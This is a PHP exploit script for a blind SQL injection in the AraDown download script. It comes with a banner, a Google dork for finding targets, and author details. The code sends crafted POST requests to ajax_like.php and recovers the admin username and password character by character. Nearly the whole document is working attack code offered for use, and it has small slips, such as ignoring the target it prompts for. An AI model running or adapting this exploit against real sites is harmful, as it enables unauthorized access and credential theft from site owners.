AraDown Blind SQL Injection

<?php

echo "

_____   _    _   _____   _____  _______

/  ___| | |  | | /  _  \ /  ___/|__   __|

| |  _  | |__| | | | | | | |___    | |

| | | | |  __  | | | | | \___  \   | |

| |_| | | |  | | | |_| |  ___| |   | |

\_____/ |_|  |_| \_____/ /_____/   |_|

____    _       _____   _____   _____  ___    ___

|  _ \  | |     /  _  \ /  _  \ |  _  \ \  \  /  /

| |_) | | |     | | | | | | | | | | |  \ \  \/  /

|  _ (  | |     | | | | | | | | | | |  |  \    /

| |_) | | |___  | |_| | | |_| | | |_|  /   |  |

|____/  |_____| \_____/ \_____/ |_____/    |__|

[*]-----------------------------------------------------------------------[*]

# Exploit Title  : ArDown (All Version) <- Remote Blind SQL Injection

# Google Dork    : 'powered by AraDown'

# Date           : 08/07/2012

# Exploit Author : G-B

# Email          : g22b@hotmail.com

# Software Link  : http://aradown.info/

# Version        : All Version

[*]-----------------------------------------------------------------------[*]

[*] Target -> ";

$target = stdin();

$ar =array('1','2','3','4','5','6','7','8','9','0','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z');

echo "[*] Username : ";

for($i=1;$i<=30;$i++){

foreach($ar as $char){

$b = send('http://server',"3' and (select substr(username,$i,1) from aradown_admin)='$char' # ");

if(eregi('<span class="on_img" align="center"></span>',$b) && $char == 'z'){

$i = 50;

break;

}

if(eregi('<span class="on_img" align="center"></span>',$b)) continue;

echo $char;

break;

}

}

echo "\n[*] Password : ";

for($i=1;$i<=32;$i++){

foreach($ar as $char){

$b = send('http://server',"3' and (select substr(password,$i,1) from aradown_admin)='$char' # ");

if(eregi('<span class="on_img" align="center"></span>',$b)) continue;

echo $char;

break;

}

}

function send($target,$query){

$ch = curl_init();

curl_setopt($ch,CURLOPT_URL,"$target/ajax_like.php");

curl_setopt($ch,CURLOPT_POST,true);

curl_setopt($ch,CURLOPT_POSTFIELDS,array('id'=>$query));

curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);

$r = curl_exec($ch);

curl_close($ch);

return $r;

}

function stdin(){

$fp = fopen("php://stdin","r");

$line = trim(fgets($fp));

fclose($fp);

return $line;

}

?>